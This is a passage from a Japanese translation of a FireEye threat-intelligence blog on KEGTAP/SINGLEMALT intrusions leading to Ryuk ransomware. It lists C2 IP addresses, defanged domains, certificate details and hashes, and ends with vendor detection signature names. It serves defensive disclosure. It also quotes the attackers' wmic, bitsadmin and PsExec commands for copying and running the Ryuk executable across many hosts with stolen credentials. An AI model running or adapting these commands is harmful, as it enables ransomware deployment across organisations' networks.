10/23/20	45.153.240.178:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1updater[.]com	9859a8336d097bc30e6e5c7a8279f18e
10/23/20	45.153.240.220:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=driverdwl[.]com	43fb2c153b59bf46cf6f67e0ddd6ef51
10/23/20	45.153.240.222:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=viewdrivers[.]com	22bafb30cc3adaa84fef747d589ab235
10/23/20	45.153.241.134:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backups1helper[.]com	31e87ba0c90bb38b986af297e4905e00
10/23/20	45.153.241.138:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver1downloads[.]com	f8a14846b7da416b14303bced5a6418f
10/23/20	45.153.241.146:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicehel[.]com	01abdaf870d859f9c1fd76f0b0328a2b
10/23/20	45.153.241.153:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service-hel[.]com	c2eaf144e21f3aef5fe4b1502d318ba6
10/23/20	45.153.241.158:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=servicereader[.]com	de54af391602f3deea19cd5e1e912316
10/23/20	45.153.241.167:443	C=US,ST=TX,L=Texas,O=US,OU=,CN=view-backup[.]com	5f6fa19ffe5735ff81b0e7981a864dc8
10/23/20	45.147.231.222:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=top3servicebooster[.]com	ff54a7e6f51a850ef1d744d06d8e6caa
10/23/20	45.153.241.141:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1view[.]com	4cda9d0bece4f6156a80967298455bd5
10/26/20	74.118.138.139:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=topbackupintheworld[.]com	e317485d700bf5e8cb8eea1ec6a72a1a
10/26/20	108.62.12.12:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=topservice-masters[.]com	e0022cbf0dd5aa597fee73e79d2b5023
10/26/20	108.62.12.121:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=topservicebooster[.]com	44e7347a522b22cdf5de658a4237ce58
10/26/20	172.241.27.65:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backup1services[.]com	cd3e51ee538610879d6fa77fa281bc6f
10/26/20	172.241.27.68:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backupmaster-service[.]com	04b6aec529b3656040a68e17afdabfa4
10/26/20	172.241.27.70:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=backupmasterservice[.]com	200c25c2b93203392e1acf5d975d6544
10/26/20	45.153.241.139:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=driver-boosters[.]com	9d7c52c79f3825baf97d1318bae3ebe2
10/27/20	45.153.241.14:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1update[.]com	5bae28b0d0e969af2c0eda21abe91f35
10/28/20	190.211.254.154:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=driverjumper[.]com	a1e62e7e547532831d0dd07832f61f54
10/28/20	81.17.28.70:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1boost[.]com	67c7c75d396988ba7d6cd36f35def3e4
10/28/20	81.17.28.105:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivehepler[.]com	880e59b44e7175e62d75128accedb221
10/28/20	179.43.160.205:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivedownload[.]com	cdea09a43bef7f1679e9cd1bbeb4b657
10/28/20	179.43.158.171:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivefinder[.]com	512c6e39bf03a4240f5a2d32ee710ce5
10/28/20	179.43.133.44:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivedwn[.]com	87f3698c743f8a1296babf9fbebafa9f
10/28/20	179.43.128.5:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivecheck[.]com	6df66077378c5943453b36bd3a1ed105
10/28/20	179.43.128.3:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idriveupdate[.]com	9706fd787a32a7e94915f91124de3ad3
10/28/20	81.17.28.122:443	C=US,ST=TX,L=Texas,O=lol,OU=,CN=idriveview[.]com	0e1b0266de2b5eaf427f5915086b4d7c

RYUKコマンド

start wmic /node:@C:\share$\comps1.txt /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c bitsadmin /transfer vVv \\[REDACTED]\share$\vVv.exe %APPDATA%\vVv.exe & %APPDATA%\vVv.exe"

start PsExec.exe /accepteula @C:\share$\comps1.txt -u [REDACTED] -p [REDACTED] cmd /c COPY "\\[REDACTED]\share$\vVv.exe" "C:\windows\temp\vVv.exe"

start PsExec.exe -d @C:\share$\comps1.txt -u [REDACTED] -p [REDACTED] cmd /c c:\windows\temp\vVv.exe

攻撃手法の検知

FireEyeは当社プラットフォームを通じて、この攻撃手法を検知します。今回の活動が開始される前からあった検知名の一部を以下に示します。

Platform	Signature Name
Endpoint Security	KEGTAP INTERACTIVE CMD.EXE CHILD PROCESS (BACKDOOR) KEGTAP DLL EXECUTION VIA RUNDLL32.EXE (BACKDOOR) SINGLEMALT (DOWNLOADER) STILLBOT (BACKDOOR) WINEKEY (DOWNLOADER) CORKBOT (BACKDOOR) RYUK RANSOMWARE ENCRYPT COMMAND (FAMILY) RYUK RANSOMWARE SETUP EXECUTION (FAMILY) RYUK RANSOMWARE WAKE-ON-LAN EXECUTION (FAMILY) RYUK RANSOMWARE STAGED ENCRYPTOR INTERNAL TRANSFER TARGET (UTILITY) RYUK RANSOMWARE ENCRYPTOR DISTRIBUTION SCRIPT CREATION (UTILITY) RYUK RANSOMWARE STAGED ENCRYPTOR INTERNAL TRANSFER SOURCE (UTILITY)
Network Security and Email Security	Downloader.Win.KEGTAP Trojan.KEGTAP APTFIN.Backdoor.Win.BEERBOT APTFIN.Downloader.Win.SINGLEMALT APTFIN.Backdoor.Win.STILLBOT APTFIN.Downloader.Win.WINEKEY APTFIN.Backdoor.Win.CORKBOT FE_Downloader_Win64_KEGTAP FE_APTFIN_Backdoor_Win32_BEERBOT FE_APTFIN_Backdoor_Win_BEERBOT FE_APTFIN_Downloader_Win32_SINGLEMALT FE_APTFIN_Downloader_Win64_SINGLEMALT FE_APTFIN_Backdoor_Win_STILLBOT FE_APTFIN_Downloader_Win_WINEKEY FE_APTFIN_Backdoor_Win_CORKBOT

本ブログは、米FireEyeが公開したOctober 28, 2020 「Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser」（英語）の日本語抄訳版です。

日本語版：Reviewed by Takahiro Sajima

前の投稿

次の投稿

エンタープライズ・セキュリティ

業種別ソリューション

FireEye XDR

顧客

サポートを利用

疑問を解決

サポート

FireEye パートナー

パートナー向けリンク

FireEye との提携

パートナー・ポータル

サイバー・セキュリティとは

FireEyeブログ

トレーニング

無料のツールとニュースレター

FireEyeについて

キャリア開発

ニュース＆イベント

お問い合わせ

The Vision

ブログ（脅威調査）